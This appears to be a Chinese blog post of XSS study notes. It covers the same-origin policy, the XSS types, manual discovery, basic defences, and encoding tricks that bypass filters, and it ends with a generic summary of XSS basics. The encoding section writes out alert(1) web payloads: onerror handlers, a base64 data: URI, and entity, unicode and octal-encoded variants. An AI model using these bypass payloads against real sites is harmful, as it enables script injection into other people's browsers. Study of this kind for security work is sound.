XSS知识点总结

浏览器遵守同源策略

javaScript同源对比:协议、域名、端口三者完全相同即是同源。
HTML中不受同源策略限制的标签:

<script src = http://xss.tv/jquery.js>
<img src = http://xss.tv/back.jpg>
<iframe src = >
<link src = >

XSS 跨站脚本攻击

XSS危害:

盗取用户的Cookie
XSS Worm : XSS蠕虫
挂马 : A->B->C(互相传染)

XSS分类:

反射性XSS:浏览器发出请求,将js代码作为参数提交到服务器,服务器响应,输出在网站中
存储型XSS:浏览器发出请求,将js代码存储到服务器数据库或者文件中,永久存在,每次打开都会响应
DOM XSS:不需要服务器响应,直接靠浏览器的dom解析,完全是客户端的事情,与服务器无关

XSS手动挖掘

1.看url参数输出的位置
2.看输入框的输出位置

1.输出在标签外
构造标签,如果不能构造标签就不存在XSS漏洞
2.输出在标签内
需要闭合引号,如果不能闭合引号就看看当前标签是否可以执行js代码。
3.输出在script标签中
如果在引号内,需要闭合引号
如果不能闭合引号,看看当前位置是否可以能否innerHTML或者document.write,插入到网页中,引号内部可以使用unicode编码, < 不能编码
如果可以闭合引号,直接写入js代码

XSS防御

1.构造黑名单,白名单(白名单效果好,要考虑用户体验)
2.在cookie中添加httponly属性,保护cookie,减少损失

XSS编码问题及绕过

URL编码:
#->%23 .->%2e + ->%2b
"->%22 < %3c > %3e '->%27
HTML实体编码
< : $#60
: => [冒号] => [换行]
JS编码
1.三个八进制数字,不够前面补0; < \074
2.两个十六进制数字,不够前面补0 < \x3c
3.四个十六进制数字,不够前面补0 < \u003c

具体场景方法:

一:如果过滤了<> 等

<img src = x onerror = alert(1)>=>PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg(base64编码)

data协议
data:资源类型;编码类型,内容

<a href = "data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">123</a>

二:HTML实体编码

<img src = 1 onerror = "alert(1)">    =》
<img src=1 onerror="\u0061\u006c\u0065\u0072\u0074(1)"> (unicode编码)=》
<img src=1 onerror="&#0097;&#0108&#000101&#114;&#116;&#40;&#39;&#120;&#115;&#115;&#39;&#41;">(16进制)

三:JavaScript编码
javascript中只识别几种编码:Jsunicode js8进制 js16进制

js中如果过滤了 ’ " < > & % 等等 可以把输入的值改成js编码如:

<img src = x onerror = alert(1)>  =》
\74\151\155\147\40\163\162\143\75\170\40\157\156\145\162\162\157\162\75\141\154\145\162\164\50\61\51\
URL编码
如<a href = "javascript:alert(1)">123</a>  =》
  <a href = "j&#x000061;vascript:%61lert(1)">click me</a>

用img就不行:<img src=1 onerror=”javascript:%61lert(1)>
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
XSS(Cross-Site Scripting)是一种常见的网站安全漏洞,攻击者通过在网页中注入恶意脚本来攻击用户。以下是关于 XSS 的基础知识: 1. XSS 的原理:XSS 攻击利用了网站对用户输入的信任,攻击者将恶意脚本注入到网页中,当用户浏览该网页时,恶意脚本会在用户的浏览器中执行,从而达到攻击的目的。 2. XSS 的分类:XSS 可以分为三种主要类型:存储型(Stored XSS)、反射型(Reflected XSS)和 DOM 型(DOM-based XSS)。存储型 XSS 注入的恶意脚本被存储在目标网站的数据库中,当其他用户访问该页面时,恶意脚本会被执行。反射型 XSS 注入的恶意脚本通过 URL 参数传递给目标网站,目标网站在返回的页面中直接输出了这些恶意脚本,用户点击链接时脚本被执行。DOM 型 XSS 则是利用了网页的 DOM 结构,通过修改 DOM 中的内容来触发漏洞。 3. XSS 的危害:XSS 攻击可以导致许多危害,包括盗取用户的敏感信息(如用户名、密码、cookie)、篡改网页内容、进行钓鱼攻击、传播恶意软件等。 4. 防御 XSS 的措施:为了防止 XSS 攻击,可以采取以下措施: - 输入验证和过滤:对用户输入的数据进行验证和过滤,过滤掉不可信的字符和脚本。 - 输出转义:将用户输入的数据进行转义,确保输出到网页时不会被浏览器解析为可执行的脚本。 - 使用 HTTP 头部中的 Content Security Policy(CSP)来限制网页的资源加载和执行。 - 设置 HttpOnly 属性来限制 JavaScript 对 cookie 的访问。 - 定期更新和修复网站的漏洞,以防止攻击者利用已知的 XSS 漏洞。 以上是关于 XSS 的基础知识,深入了解 XSS 攻击的原理和防御措施对于网站安全至关重要。在进行渗透测试时,理解 XSS 的工作原理和常见漏洞场景可以帮助你更好地发现和利用 XSS 漏洞。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值